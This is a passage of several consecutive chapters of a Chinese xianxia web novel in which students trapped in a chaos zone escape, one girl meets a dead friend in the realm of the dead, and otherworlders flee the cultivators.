她从没见过这么残暴的系统!周考月考期中考期末考次次不落,还他奶奶的有竞赛!跟系统竞赛!考试内容包含且不限于体能考核、地理人文考核、基础理论考核、技能术法考核等等!虽然满分奖励挺丰厚,但错一分扣得她也很心疼! 蒋敏努力了一段时间是想摆烂来着,但一想到三堂那个血淋淋的老乡,恐惧让她发挥出前所未有的潜力。 她能在两年内进入小术院,全因在霸霸鞭策下她暗无天日的背书练术,以及水深火热的考试。 她在心里掬了把辛酸泪。 小小的安全区内几人各持一方,邵安在结界中休息,他身边的女孩跟睡美人似的正在昏睡,受伤调养的滕宝和三个少女待在一起,再就是她不认识的卷毛女孩和抱着铁棍的少年。 这里只有她一个人势单力薄,要是打起来她指不定会被祭天,邵安脾气不好,不行,滕宝,emmm,身边那么多女人,还是算了。 想了想,她主动走向卷毛女孩那里。 “你好,我叫蒋敏,小术院一年生,学姐学长我可以坐在这里吗?”她这话说得乖巧,在被拒绝前十分聪明地表明自己的用处:“我会点医术,占卜也过得去,星宿懂点,兵灵马马虎虎,符文阵法这些略有所懂,困境中相遇也是一场缘分,希望能帮上学长学姐。” 江弥眨了下眼没说话,莫题抱着铁棍挠了下头:“别的没看出来,吹牛倒是挺厉害。” 众所周知,择道只可选其一,蒋敏这话说得条条道途她跟走着玩儿似的,叫人不怀疑都难。 蒋敏呲溜一下盘腿坐在莫题对面:“学长我没吹牛,我们教习见了我都喊天才,您大惊小怪十分正常。” 莫题还没说话了,她就捏出几个术法让莫题住了嘴,浑身散发出得意的气息:“不信你去二十院打听打听,我是我们那的希望之星!” 她在心里大喊:我们家霸霸就是这么吊! 莫题“嘶——”了声:“我是听说过有这种体质,但无一不是神脉额……” 他在江弥和蒋敏的目光中住了嘴,挠着头发说:“叫学长就不必了,也没见身边这位新生这么喊过,我叫莫题,她是江弥。” “新生!莫非……”蒋敏明亮的眼睛盯着江弥看,然后小声问:“她是那个邵周大战里的彪悍新生?!” 莫题:“你订阅了?” 蒋敏狠狠点头:“没有这些精彩的八卦,我忙得操蛋的人生该有多么无趣啊!还有那什么某男子同时暧……” “某男子同时暧昧女子二三四!”莫题声音透着隐隐的激动:“你是想说这个?” “没错没错!”蒋敏神情微妙盯他,“不会是……” 莫题轻咳两声,手掌往下压了压:“低调。” 两人开始聊起八卦以及如何从细微之处捕捉精彩,一副相见恨晚的知己模样。 江弥有些无语,察觉有人朝这边望来,她抬眼撞见扶尧耐人寻味的目光,似乎没料到她会突然看过来,扶尧愣了下,仰着下巴瞪她眼,然后回头关心滕宝病情。 暮云检查完妃绯情况后花了些时间恢复,此时看完滕宝状况道:“公主给的药起效很快,没大碍,剩下的需要时间恢复和细养。” 见滕宝闭眼养神,扶尧也没打扰他,而是上下打量着收拾药品纱布的暮云,忽然问她:“你不忍心?” 暮云沉默望来,扶尧撑着下巴细问:“你杀那名异世者时本宫感觉到你在犹豫,你不忍心了?” 暮云垂眸:“没有。” 扶尧也没深究的心思,她又捧着脸盯着滕宝瞧,无聊地晃晃头,发髻上的金饰碰撞出细碎声响,奇怪道:“本宫分明见过许多比这张脸好看的,但怎么就只有这张脸这么对本宫喜好呢?” 恢复几分体力的唐蜜挑眉:“公主这是不知喜欢滋味吧,喜欢男人不就是这么回事?” 扶尧气哼道:“本宫会不知道本宫喜欢滕哥哥?要你提醒!别以为本宫不知道你对滕哥哥有想法,本宫不会让给你的!” 唐蜜抱着胳膊笑得明丽照人:“滕学长还没说喜欢公主呢,滕学长不是想拿就拿的物件,公主这么霸道地据为己有,很不得人喜欢啊。” 扶尧蹭的站起:“谁不得人喜欢?这世上喜欢本宫的要从城门排到本宫寝宫,脏污本宫名誉,信不信本宫让暮云撕烂你的嘴!” 唐蜜继续笑,轻佻的笑:“看来这就是滕学长找我来的缘故了。” “你!”扶尧手腕一抖,十二阶长鞭握在手里甩出噼啪声:“出发前皇兄让本宫收敛脾气,但也说过,别被人欺负了去!” 唐蜜动了动搭在手臂上的五指,点点墨色浮现:“这怎么能叫欺负,只是你来我往的较量啊。” 再不劝架就真要打起来了。滕宝从凝神中醒来,有些头疼地揉了揉眉心:“扶尧,不要胡闹。” 扶尧气呼呼道:“你帮她不帮本宫!” 说罢朝着唐蜜连甩长鞭,抽得空气呼呼作响。 唐蜜的避占没有提前预警,她便站着没动,长鞭次次从她身侧脸颊旁甩过,却没伤到她分毫。 滕宝伸手拉住扶尧长鞭,鞭尾立即在他手臂上留下一道血痕,扶尧又心急又慌张:“谁让你接的!” 滕宝放缓声音同她道:“唐学妹是我叫来的,若因我被误伤,我又怎么在启蒙会继续待下去?” 扶尧还是不甘心:“本宫随你来还不够吗?你身边总是那么多女孩子,本宫看不过去。” 高贵矜持的公主低下头颅,滕宝看得心软,耐心将人拉过来哄,半晌过后又拉着扶尧同唐蜜道歉。 片刻后系统面板提示: “——可攻略人物【扶尧】好感度+10,好感值89,处于情难自禁状态。” “——可攻略人物【唐蜜】好感度+5,好感值66,处于怦然心动状态。” “——为抱美人归,少年,还需多加油哦!” 用余光悄咪咪看八卦的蒋敏:“我好像看了个‘某男子同时暧昧女子二三四’原型。” 没听到莫题回她,蒋敏一回头,见他已经开始拿出纸笔在飞速写东西了。 好了,是原型没错了。 等莫题写完她才小声问:“这里出现了一二,那三跟四是谁?” “一个是出自同个心宿院的师妹,青梅竹马,还有个在医署,人善心美,也是嘶——”莫题压得极低的说话声陡然高昂,他看着用力拍在自己伤口处的手掌,眉梢抽搐着去看那只手的主人:“你做什么?” 江弥:“伤口裂开了,给你上药。” 莫题:“!” 你这么上药,伤口没裂也被你拍裂了! “妃绯!” 陡然的低喊声令几人看过去。 洞口结界里 61. 061 《他们要我成为异世大佬》全本免费阅读 滕宝最先反应过来,上前道:“我们都是小术院学员,多谢苏大人前来救援。” “救你们只是顺便,”清雅男声从上方传来,接着便见一俊雅男子落地,他扫了眼被碎石掩埋的石壁碎块,朝几人看来,“既然你们在此,那应当知道玄元阵盘的下落了?” 江弥听到这声音就知道是谁,心情并没有很好。 对方显然也在几人中看到她,于是伸手点了点:“江弥,你说。” 苏与商侧目望向顾臣,顾臣笑道:“在心宿院当教习时遇到的小家伙。” 江弥木着脸说:“根据滕学长的话推测,玄元阵盘落在一位叫颜西的守望军人员手里,现在在哪我不清楚。” 苏与商目光轻点最开始说话的少年:“你是这位滕姓学员?详细说说。” 滕宝就将他们如何遇见守望军又如何被守望军困在这里的说辞重复一遍,话毕他道:“那颜西善阵,玄元阵盘落到他手上十分不妙。” “这些就不用你们操心了,走吧,带你们离开大混沌。”顾臣转身走了两步,身后学员一听马上离开,都露出如释重负的表情。 带路的顾臣忽然站定,江弥心道这人又要出幺蛾子,果然,他转过身来,漫不经心地把玩随身香囊,朝几人笑道:“大混沌爆发少说也有一整日,浊气侵蚀下还能保持清醒,看来都是心坚志强之人啊。” 面对顾臣的质疑,扶尧自然是不怵的:“本宫随身物品多的就是清除浊气的,你在瞧不起皇室?” 顾臣浅笑:“自然不会,除公主外……” 他目光在扶尧同行的几人点了点,扶尧抱住滕宝的胳膊,将暮云往自己身后拉了拉:“这两人自然受本宫庇护,哦,那边紫衣的就不是了。” 唐蜜没说什么,伸出莹白五指,食指和中指逐渐染上墨色:“浊气应该比这种东西好对付。” 扶尧见她躲过一劫,轻哼了声。 除了出自皇室的扶尧,来自邵家的邵安自然轻易解除怀疑,妃绯也摆脱嫌疑。 莫题道:“有幸炼成暗术·心坚,在大混沌里能比旁人多撑些时间。” 蒋敏面上平静,心里大声朝学霸系统喊:“霸霸!救命啊!我要怎么说?” 江弥:“术法原因,不能说。” 蒋敏面上继续平静,眼睛却望向江弥,这也行? 其他几人也纷纷看来。 顾臣:“不能说?” 江弥:“不能说。” 顾臣轻笑了声,转向蒋敏:“你呢?也是不能说的术法原因?” 蒋敏内心大喊不行吗?嘴上慢吞吞说:“也不是。” 同时脑子疯狂运转,寻找所有跟浊气有关的知识,面对顾臣极具压迫力的目光,竟还真被她找到。 蒋敏道:“体质问题。” 顾臣没再追究,而莫题望过来的目光也带着了然。 蒋敏:霸霸说得对,知识就是力量! 走在前方的苏与商笑出声:“顾臣,这么多年,你还真是一如既往的恶趣味。” 蒋敏:哈,我只感受到恶,趣味一点没有好吧! 等到离开地下山洞,几人才有种重见天日的感觉。 苏与商和顾臣继续追寻玄元阵盘的下落,给他们留下两名玄甲兵带路。 考虑到有伤员,两名玄甲兵速度不快。 不用担心被魊偷袭,又即将离开大混沌,大家都很放松。 莫题扛着铁棍感叹:“小术院才给三百小术分,着实亏了。” 江弥点头赞同,等了会儿发现蒋敏没说话,她回头看了眼,心头一沉,还不带她开口就听前面扶尧惊叫:“暮云不见了。” 江弥接道:“蒋敏也是。” 几人立马警戒起来,两位玄甲兵走到他们中间刚要问怎么回事,还没开口就听滕宝沉声道:“就在刚才,唐蜜当着我的面消失了。” 而上次发生这种事情,是江弥等人掉入地底山洞。 剩下的人瞬间明白怎么回事。 “是颜西。” 但这种无法跟踪的空间移动令所有人都束手无策,只能眼睁睁看着妃绯和邵安消失在眼前,接着是两名玄甲兵依次消失,滕宝和扶尧消失后,江弥立马明白什么,刚要伸手触碰莫题,晚了一步,他也不见了。 江弥眼前一晃,环境变化,周围笼罩的压抑暗沉让她明白,她仍在大混沌。 一条水流湍急河水横亘在她面前,河水似乎被重度污染,呈现一种死气沉沉的灰。 河水尽头两端皆是灰蒙蒙的,看不清是灰色的河水还是涌动的灰雾。 江弥仰了下头,连头顶也是铅灰色的。 只是停留的片刻,她就觉得心情压抑低迷。 更令人诡异的是,这里并非江弥一人。 河的对岸有很多人,他们来来回回地走,却没有一点说话声或脚步声,整个空间只回荡着水流声。 江弥直觉要远离那些飘荡的人群,脚步刚动,细微的石子摩擦声惊动了什么般,一种毛骨悚然的感觉陡然席卷全身。 她抬眼望去,就见对面河岸的人全都停下来,蒙上阴翳的眼珠死死盯着她。 江弥:“!” 要不还是把我丢进魊群吧! 被这种凝聚执念的视线盯着,江弥有种这些视线化作阴寒丝线将她重重包围的感觉,后脑勺直接麻了。 她僵直站在原地,不想知道自己再动一步,这群不知是魊还是人的家伙会做什么。 然而她不动,对面却动了。 人群里某个小范围在向前蠕动,接着就见一只手不停将那些站着不动的东西往后扒,而后出现在最前方的,是个面容俊雅的青年男子。 他和那些站着不动的人不同,他的神情是鲜活的,眼睛是漆黑的,就像偷懒的漫画师在背景板人群中抠出来的主要人物。 他看到江弥的瞬间,眼睛爆发出强烈的情绪,随即不管不顾地冲向他们中间的那条河。 那河水只有江弥膝盖高,寻常的成年男子跑过来很容易,他却走得极其艰难,每一步都让他摇摇欲坠,俊雅的面容扭曲痛苦。 湍急的灰色水面正在上涨,渐渐淹没他的膝盖,大腿,接着江弥发现并非是水面在上涨,而是他的身体正在融化。 走到河中央时,他的腰部已经被河水淹没。 他朝江弥嘶哑大喊,可河水会吞没声音,江弥什么都听不见,他一点点在河水里融化,距离河岸还有几步距离,江弥被他的疯狂惊动,见对岸人群站定没动,还是往前河边走了几步。 “妻儿……” “见我妻儿……夏素……” “帮我看看他们安好……夏素……夏星回!” 那人还在往河的这边来,江弥问:“他们在哪里?” 正在奔跑的男人却忽然停下来,眼里流出泪来,狰狞痛苦的面庞凝固了 62. 062 《他们要我成为异世大佬》全本免费阅读 李二最后对他说的话是,要不要叫声二哥? 江弥没有喊。 现在死灵界里李二问她,真的不要叫二哥? 江弥不敢喊。 她没想到李二会以这种形式出现在这种地方,就如同她从没想到李二会以那样惨烈的方式死去。 因为她的执念所以李二出现了? 那这样的李二怎么能称得上是李二,不过她大脑里构造的李二形象罢了。 江弥没有半分动摇,脚步不停地往前走,可每一步都很艰难,那一声喊令她仿佛背上了千斤重,肌肉骨骼不堪负重地发出声响。 “择选日那天等了很久吧。” 江弥觉得重压渗透进体内压迫着她的肺部,呼吸也变得艰难,她想大口喘息,却忽的屏住了呼吸。 李二站在了她的身侧,正在垂眸看她。 他遗憾地叹了声:“本来想早点去的,但中途出了点意外。你那么珍惜时间,应该气了很久。” 片刻后他又道:“也不会,你应该只会气一会儿,很快就忘了。这样也好。” 江弥死死握拳,咬着牙不敢说话,她想要快步离开,无形的阻力却将她定在原地,抬起的脚仿佛举起的刀,落下的瞬间心口被戳出一个洞。 男生宽大的手搭在脑袋上,揉了揉,然后熟练地解开松散的发辫,以指代梳理顺头发。 江弥的形象算不上好,她在魊堆里不知道杀了多少个来回,又在坍塌的山洞四处躲避,头发蓬乱沾灰,即便她简单清理过,也不见得能有多好。 此前她并未在意,这一刻她连抬手拂掉那只手的力气都没了。 李二一边编发一边笑着说:“拿到工钱那日给你选了礼物,我在首饰摊前停了很久,卖首饰的大哥给我推荐了很多,但漂亮的项链手镯你不会戴,好看的衣裳不耐摔,你也不会穿,思来想去,也只有发带最合适——” “君慕之!”江弥忽然朝前方大喊,极力稳住的语调透着无法掩饰的惊恐:“我的执念会出现在这里吗?” 这声音将李二定在原地,编发辫的手忽的顿住。 君慕之的声音远远地传来:“死灵界不会满足任何执念,因执念滞留在此的亡灵只会永久困在这里。” 如果她的执念不会被满足,李二就不可能出现。 李二出现,那就只可能是他被自己的执念困在这里。 江弥的脚步再也无法迈出一步。 脑后那只手缓缓落了下去。 江弥想要回头,那只手忽然按住她的脑袋,轻轻揉了揉,毛乎乎的头发乱蓬蓬的。 李二说:“不要回头。” 江弥张了张嘴,李二像是知道她要做什么,先一步开口道:“不要说话。” 江弥动了下手,她想要伸手向后拉住他,巨力之下手指发颤。 李二按住她的肩膀:“不要做,不要说。” 看江弥停住后,他抬手拢了拢她的头发,低头细致地整理,宽长的手指轻巧灵活地在发丝间穿梭,一缕一缕交缠着,缓慢而有序。 后脑传来的触感熟悉得令江弥心头微颤,她低下头。 时间不过片刻,李二便用发旧的发带绑好发尾,厚重微凉的大手按在她头上,盖住大半个脑袋,令人心安。 察觉她的低落,他轻轻晃动她的脑袋,带着同以往无二的笑意说:“见到真正的你,我很高兴。” 搭在脑袋上的手轻轻晃了晃,江弥也跟着动,像在驱散她心中的阴霾。 李二忽然弯下腰来,低声在她耳边说:“我不是阻拦你向前的阻力,不管什么时候。” 他伸手推了下她的背,江弥被迫往前走了两步,压在身上的无形压力一点点消失,她下意识要去看他,李二阻止她:“江弥,不要回头,往前走。” 江弥手心掐出血,停顿很久,她抬起脚往前。 越来越快,越来越快。 四周灰雾逐渐变得稀薄,江弥拼命往前奔跑,她没有用乘风术,只是一直往前,水声消失,其他声音纷至沓来,江弥还在往前,一只手忽然隔着衣袖拉住她手腕。 君慕之说:“别往前了。” 结界张开一张无形的网,将无数魊拦在三步外,密密麻麻的魊狰狞怒张着嘴朝着她嘶吼。 江弥静静地站了很久,然后才晃过神般看向君慕之。 他的神色不太好,脸色惨白得厉害,银白斗篷遮住他的额,令她想起他发病的样子,还有那个躺在床上装死的小慕之。 “过去三天了?” 君慕之说:“两天。” 江弥低头:“对不起,下次这种事情我会提前找你说明。” 君慕之松手,尾指却在收回时碰到女孩袖口皮肤,些微带颤,他蹙眉拉下衣袖掩住自己的失态。 “死灵界是白骨神君的领地。”君慕之忽然开口。 江弥努力将思绪落在他的话里,忽然觉得这名字有点熟,问:“百神谱上的白骨神君?” 见君慕之点头,江弥思索,玄姆元君也在百神谱上,大混沌中诞生的神品都是百神谱上神的物品? 这么想着,她也问出了口。 君慕之说:“混沌降世后,乐正氏将历史中记录下来的神编纂成名录,记名百神谱。” 没有明确回答,但已经说明了。 江弥问:“那小混沌呢?” 大混沌中的神品是神之物,那妖魔又是什么? 君慕之只简洁道:“神之遗泽。” 妖魔如何算遗泽?江弥刚要说,忽然想起小混沌中充斥的金色粒子,以及将小混沌当做修炼地的修士。 如此说来,大混沌和小混沌都同神有关,而异世者降临伴随着混沌降临,还是离不开神。 见江弥神色平静下来君慕之才缓缓道:“死灵界中,亡灵的执念得到满足便可离开。” 君慕之显然听到死灵界里李二说的话,用这种方式宽她的心。 执念得到满足…… 江弥想到李二说的话。 从前她不会往自己身上想,心中也不会在意,可现在看到出现在死灵界的李二,却在庆幸地想,李二的执念是她,真的太好了,他不会像那些亡灵一样被执念裹挟得只剩麻木,他还能离开那里。 江弥垂首抚摸整齐的发辫,说:“能跟我说说死灵界吗?” 君慕之:“死灵界脱离生死,不存在于任何现存的空间,落入其中的人,不可直视界河,不可同亡灵交谈,否则会被执念本身注意到,难以离开。有人认为死灵界是白骨神君的道。” 江弥沉默片刻问:“道能具象成实体?” 君慕之:“也有人说死灵界就是白骨神君的识界。” 这话犹如一道惊雷把江弥从杂乱的情绪中劈醒。 识界里的那条界河将死灵界分割成两个空间,里面困住的人,和她的情况如此相像。 江弥问:“百神谱上说白骨神君死于众神大战,死灵界为何没有消失?” 君慕之:“无从知晓,也无人知晓。如同四散的神品,死灵界也是如此。” 江弥察觉他话里的异常,试探问:“不是异世者降临导致的吗?” 君慕之意味不明地笑了下,江弥没有从他的 63. 063 《他们要我成为异世大佬》全本免费阅读 “确定是这个方向?”灰发青年不安地又问了次。 阴暗街巷内三个人几乎隐藏在阴影里,其中一人抬手在眼前空气中滑动轻点几下,点头说:“最近的传送阵就在西街口,但那里有修士巡逻,立场不明。” 肖迁的系统能力是以他为中心半径千米的地图,显示这个范围内的环境和人员分布,因修士比普通人能量辐射更大,在地图上以散射波纹的点显示。 地图上几点代表修士的点急速朝他们来,肖迁从中找出一条道路:“快,得移动。” 颜西听闻立即收了掩人耳目的结界,肖迁直接将他背上乘风而行。 灰发青年按着滴血的手腕咬牙道:“你这么废,曾蒙怎么就想着让你跟我们跑!” 颜西也很无奈,平常他只负责打开囚天笼不会进入混沌,但这次意外频出,他的技能只点在阵法,背部又被魊抓伤,一个人压根没法跑。 灰发青年脚踩在墙头猛地一跃,瞬影直百米外,他忍着焦躁情绪问:“你能使用多少座传送阵?” 颜西:“八座。” 肖迁道:“至少跳三次才可能安全。” 灰发青年看了眼群聊中可爱小仙女的回复,薅了把头发道:“乱吧,乱起来才好。” 灰发青年就是轻抚菊花。 他进过一次天诛院,此生再也不想进入第二次,守望军的其他人被天诛院困住,靠不住了,必须自己想办法。 他在群聊里发出求助,隐瞒肖迁存在,吸引更多异世者来此,只有将局势捣乱他们才可能逃掉。 片刻后几人在一处主人外出的屋子停歇。 灰发青年问:“清风堂附近有修士吗?” 肖迁在空气中点了几下,摇头:“没有,也没有前往的修士。” 灰发青年皱眉看着群聊中可爱小仙女“等着”二字。 骗他的?还是在赶来路上? 灰发青年道:“继续观察清风堂情况。” “等等!”肖迁惊愕抬头:“你做了什么?” 灰发青年皱眉:“发生什么事?” 肖迁拨弄着面前的地图,放大数倍又将其缩小,但怎么看都是密密麻麻散发波纹的点,他惊愕道:“所有修士朝着清风堂去了。” 小仙女做的? 灰发青年错愕两秒,立即道:“西街口!快!” 肖迁拖了下地图,在建筑中寻找捷径,确定后脸上浮现一丝轻松:“有条路直通西街口背面,有两名修士,但正在离开。” 灰发青年心脏跳得很快,惊喜来得太过突然,让人觉得不太真实。 小仙女拥有这么强的实力?还是聊天群里潜伏着天诛院的人? 不管是哪种,出路就在眼前。 这座城镇除了近几年世家在此入驻新建的南街,便是曾经的西街口最为繁荣。 清风堂是南街卖文房四宝名气最盛的店铺,在南街之南,距离西街口最远。 “到了。”肖迁拖了几下地图,抬眼道:“在这里看不到清风堂情况。” “那就不管了,让他们斗。”灰发青年将刚站好的颜西拉过来,来往人群走过西街口牌楼,他目光掠过人群朝里看,“传送阵在哪里?” 颜西背后的伤口被他的动作撕开,他白着脸没说话,带着两人走向牌楼侧方,拐进房屋之间的窄道,这里只容两人侧身并行,他们依次往里走。 颜西道:“前方,一间破旧木屋。” 走过狭长的窄道,前方豁然宽敞,房屋在尽头不规则分布着,形成很多窄细的小道。 “这里。”颜西指了个方向,那是在狭窄小路上搭了三层台阶的屋子,他伸手在袖子里摸索,准备拿出开阵玉牌,“就在——” “等等!”肖迁忽然开口,他指着颜西说的那间小院道:“那里有修士出现。” 颜西诧异:“突然出现的?” 灰发青年眼皮一跳,能让肖迁近到跟前才发现有人,只可能通过传送阵。他抓着颜西准备往后退:“这座传送阵被用掉了,附近哪里还有传送阵?” “是守望军派来救我们的人!”肖迁站在原地没动,抬脚准备往那座小院走去。 灰发青年仍旧在后退,他心中不妙。 太轻易了,不管是被引去清风堂还是赶来西街口,没有敌袭,没有埋伏,甚至连修士都不见一二,相比大混沌的逃亡,这更像是敌人的圈套,引诱着他们入内。 他问肖迁:“里面多少人?” 肖迁看地图的神色一怔:“只有三人。” 三人能顶个屁用? 就是肖迁也在这一刻迟疑了。 “你们杵在这里等着被抓?”陡然出现的项昭昭半蹲在破旧小院的围墙上,无语看着三人大喇喇地站在房屋尽头。 项昭昭在守望军是明面上的异世者,执行过很多任务,也和不少人共事过,即便没见过也听过她的名字。 颜西看到她的瞬间松了口气:“是项昭昭。” 肖迁一听也放下心,朝着项昭昭走去:“传送阵已经没了,你接下来的计划是什么?” 颜西也要过去,被灰发青年拉住,不待他说话,灰发青年神色莫名望向项昭昭,询问:“可爱小仙女?” 颜西一脸见鬼的表情看他。 肖迁也被灰发青年的肉麻称呼惊得悚然回头,张口想说什么,表情忽然僵住,他缓缓低下头去,炸开的血雾喷在他脸上。 直到倒下,他也不知道发生了何事。 颜西不可置信地朝项昭昭望去。 两个戴着兜帽的修士不知何时出现在墙角,一人伸出右手正指向肖迁,那哪里是手,分明是一枚炮筒,发射后的口径正在冒热气。 阿玲刚到此处就目睹这一变故。 她原本跟着在西街喝茶的蒋敏,轻抚菊花发出求助后蒋敏也往前了清风堂,阿玲本欲紧随其后,却瞥见一张移动的地图在街巷中穿梭,上面有数不清浮现的点。 这种情况,她就是没见过也大概知道怎么回事。 于是她化作“清风”不远不近地跟着,幸运的是地图似乎分辨不出这种状态下的她。 接下来的场景不仅身处其中的颜西和灰发青年,就是阿玲也一头雾水,她在满脑子疑问中接受记忆碎片。 项昭昭不是守望军的?她杀自己人?这炮筒放在修真世界是不是有点不合时宜?还有,可爱小仙女是项昭昭? 项昭昭承认了,她朝神色凝重的灰发青年道:“我说了,来的是杀你的,还是救你的,看你运气。” “但你运气不太好。” 说罢她朝两名斗篷人道:“颜西留活口。” 颜西还满脸懵,他同项昭昭有过多面之缘,也几番交谈过,是个责任心挺强的女人,并且她在守望军地位不算低,就是这样他才不理解项昭昭的行为。 颜西试图搞清楚状况:“项昭昭,你是项昭昭吧?没有被什么别的东西附身或者夺舍?” 灰发青年扯着颜西的衣领飞速后退,咬牙怒道:“你是不是傻,她已经背叛守望军了!” 项昭昭朗声否认:“我从未背叛我的组织。” “我跟叛徒没话说!”灰发青年躲过斗篷人斜劈来的剑气,怒道:“颜西你七阶是拿来好看的吗?” 又是一击炮筒攻来,将颜西刚凝结的结界打碎,他手指飞快结阵纹,忍不住吐槽:“这是哪位科学大佬穿越过来了,难不成还想搞出火箭大炮?” 项昭昭的加入令战局出现一边倒,她从院墙跳下却不见身影,下秒在几米外的阴影中出现,这片并排的屋舍下有大大小小无数阴影,这都是她的战场。 神出鬼没的项昭昭截堵两人去路,持炮筒的黑袍人放炮击碎颜西结界,靠近时又能使出一手漂亮的剑法,另一黑袍人则对上灰发青年的肢体金 64. 064 《他们要我成为异世大佬》全本免费阅读 西街口造成的巨大动静令修士纷纷从清风堂赶来,但已经晚了,只有几滩不知何人的血。 顾臣抬手摸了摸墙壁上大小统一的洞,挑眉道:“这武器,尚署那边有研究?” “没有。”苏与商只看了眼就让身后修士采集打斗痕迹,蹲下来捻了捻沾血的泥土,“这种东西恐怕只有卢家能弄出来。” 顾臣皱眉:“卢家啊,那没辙,线索断了。” 有人查到阵法气息,苏与商查看后说:“传送阵。” 顾臣见她神色从容,不像是在为这事苦恼的样子,不由笑问:“要逮捕的颜西没抓到,还让守望军的人大闹一番跑了,你看起来并不意外?” 苏与商扫视一圈,没发现更多信息,闻言道:“凡是都有成功和失败两面,事前就要做两种心理准备。” “这可不像天纵奇才的苏家大小姐能说出的话。”顾臣调侃道。 苏与商不咸不淡瞥他:“你若是无聊,就去大混沌将那些学员救出来,为这事,玄甲兵一刻都不得闲。” “我倒是想无聊,”顾臣叹气,“事情闹这么大,接下来就是各个世家的问责,苏家你多按着点,你们苏家不带头搞事,我就能轻松一半。” 苏与商笑道:“怕是要让你失望了,苏家也非我一个小辈说了算,就是我去也要被骂个狗血淋头。” 顾臣露出头疼的表情,苏与商给了个同情且自求多福的表情,两人走出西街口便分开各自忙去。 · 一只又一只魊嘶吼冲进幽蓝色光芒中,光芒中心的江弥站定未动,抬手之时脚下星辰变换,狰狞青面从四面八方围住她,后面几只一跃而起,从上空扑了过来。 腥臭的气息充斥整片空间,令她难以呼吸。 江弥抬首望向飞扑来的魊,灰色眼瞳倒影着她被汗水沾湿的面庞。 即将被淹没的瞬间,脚下数十颗星辰冲天而起,犹如旋转的蓝紫色光带绞缠住每一只魊,接着便如同放烟花般接连数次爆开。 江弥熟练地震气弹开所有飞溅来残肢液体。 旁观的君慕之思索片刻,问:“即将进阶?” 就在刚才,江弥如何都无法完整地展开星图,不是无法在星图展开时同魊作战,就是星辰之力不稳星图破碎,而星辰之力的过大消耗令她几次差点落入魊口。 但某个时刻后,她的星辰之力仿佛瞬间被补充,对星辰之力的掌控也更精巧,用星图绞杀魊变得十分轻易。 君慕之的敏锐真的是江弥见过的修士中最强的。 有时候她觉得这样的君慕之放在身边十分危险,但另一方面,又十分好用。 不知在心里第几次庆幸神契中的不伤害原则。 江弥拨开粘在脸上的发丝,走来问他:“你即将遇到危险,还是和你待在一起我会遇到危险?” 江弥随意坐在他身侧擦额角汗珠,君慕之目光随她而动,淡声问:“为何这样说?” “你看上去不是个热心肠的人,能让你抓紧时间帮我快速提高实力,我只能想到这些,”实力变强的感觉让江弥轻快地舒出口气,她问,“我会遭遇什么?” 听到她这样坦然的语气,君慕之有些意外,嘴角随即弯了个细微的弧度:“只是预防万一。” 见江弥稍微放松了点,他又道:“但也有可能遭遇点什么,暗杀、摄魂、迷幻……” 江弥:“……” 就知道这世上没有免费的午餐! 君慕之侧眸看她:“你不逃?” 江弥木着脸:“我还能逃过神契?” 君慕之:“不能。” 江弥吐出口郁气:“你打不打得过?” 君慕之:“应该没问题。” 这个“应该”真的很不让人心安啊。 刚坐下的江弥立马站起往外走:“继续。” 大混沌持续了四日才结束,江弥出来时等在外围的教习问她还有没有其他修士,江弥一回头,君慕之不知何时已经离去。 接受这次紧急任务的学员近一半折损在大混沌中。 江弥回到小术院时能感受到躁动的气氛。 莫题听说她平安回来,来书海楼找她,却又在见到她时神色微妙起来:“几天不见,你气息变化有点大。” 江弥:“嗯,什么事?” 莫题被她冷漠语气伤到,连连叹息:“好歹是同生共死过的伙伴,江学妹,别这么冷淡啊。” 江弥现在有了多余的小术分,准备换些药随身携带,顺便带些书到天雪峰上看。 大混沌期间她用了君慕之不少药,就算再不识货,她也能感受到这些药有多贵。 还是还不起的,只能用特殊治疗来弥补。 莫题见她借完书准备走,只得道出自己的目的:“很多学员没机会进入大混沌,或者有机会但不敢,他们就会收集其他人的大混沌经验。我来是想了解你后面经历什么,将其发布出去挣小术分。” 江弥等着他说下去,莫题只好道:“订阅的小术分四六分,你觉得如何?” 江弥:“我六你四?” 莫题:“……反过来。” “我七你三,”江弥不等他拒绝继续说,“我的经历比你想象的更重要。但我也有所求,我同意四六分,但有两个条件,第一,必须隐藏我的个人信息,第二,关于这次大混沌的信息同步给我。” 莫题摸着下巴道:“你先透露一二。” 江弥:“死灵界。” “成交!”莫题二话不说直接答应,然后笑道:“江学妹是我的财神爷啊!” 两人找了个地方相互交流信息,江弥隐去李二和异世者的事情,将死灵界的情况讲述了遍,莫题也将他收集的信息同步给江弥。 大部分江弥已知晓,但还是有些在她接触范围之外。 这次大混沌的事情始末都有守望军的痕迹。 江弥值守的大混沌里,囚天笼崩溃是意外,是阵法外泄和囚天笼相互影响所致。 但第二个大混沌却是故意为之。得到玄元阵盘的守望军解除掉第二个大混沌的囚天笼,两个大混沌距离太近开始融合。 随后守望军遭天诛院追杀,颜西借用玄元阵盘随机传送,以此阻 65. 065 《他们要我成为异世大佬》全本免费阅读 周三有夜训任务,但一听崔大请客,立马找了其他人顶班,临时调班申请花了点时间,来到食堂时天色已经暗下来。 食堂内部有小包厢,囊中羞涩的几人只听过其名,如今在崔大的慷慨中有幸进入其中。 “竟然还有花瓶?”孙柏柔伸手点了点冰凉平滑的瓷瓶,上面插着新鲜的花枝。 崔大闭眼摇头,小意思小意思。 周三弯腰摸摸窗台旁红木台上的灯盏:“这还是木头做的灯罩!如此精致!如此美妙!” 崔大扬手抬了抬,会说多说点。 江弥看这两人夸张的样子,无语:“你们够了。” 孙柏柔立马收敛没见识的神情,走到桌前坐下:“菜什么时候上,等三儿等饿了。” 周三将沾灰的手指往崔大身上擦了擦,惹得崔大一声怒嚎:“我的新衣裳!” 孙柏柔将倒扣的茶杯翻过来,提着水壶倒水,她对崔大道:“每年学费不少,你不要一次花完,省着点。” “孙小柔你再唠叨真的要成小管家婆了。”崔大抬手扬茶杯,一口干完举着茶杯递过来,孙柏柔从他手里夺走茶杯:“崔大你在外呆久了皮痒了是不是?” 帮他倒完水心里还是觉得气,将茶杯猛地往桌子上一放,水花溅到崔大脸上直接烫出几个红点,包厢里立马响起崔大的惨嚎声。 没多久有人来敲门,十分礼貌提醒:“食堂禁止打斗和调情,请几位注意尺度。” 崔大冷漠脸点头,一回头,孙柏柔抬手盖住涨得通红的脸,发出再也没脸见人的低喊。 崔大走过去坐下,将只剩半杯的水喝掉,朝还在自闭羞恼的孙柏柔道:“至于嘛孙小柔。” 孙柏柔伸手止住他:“你不要和我说话。” 两人吵吵嚷嚷,江弥撑着下巴看他们闹,周三坐在她身侧,忽然问:“星辰之力的问题解决了?” 江弥喝着茶点头:“你提醒的方向是对的。” 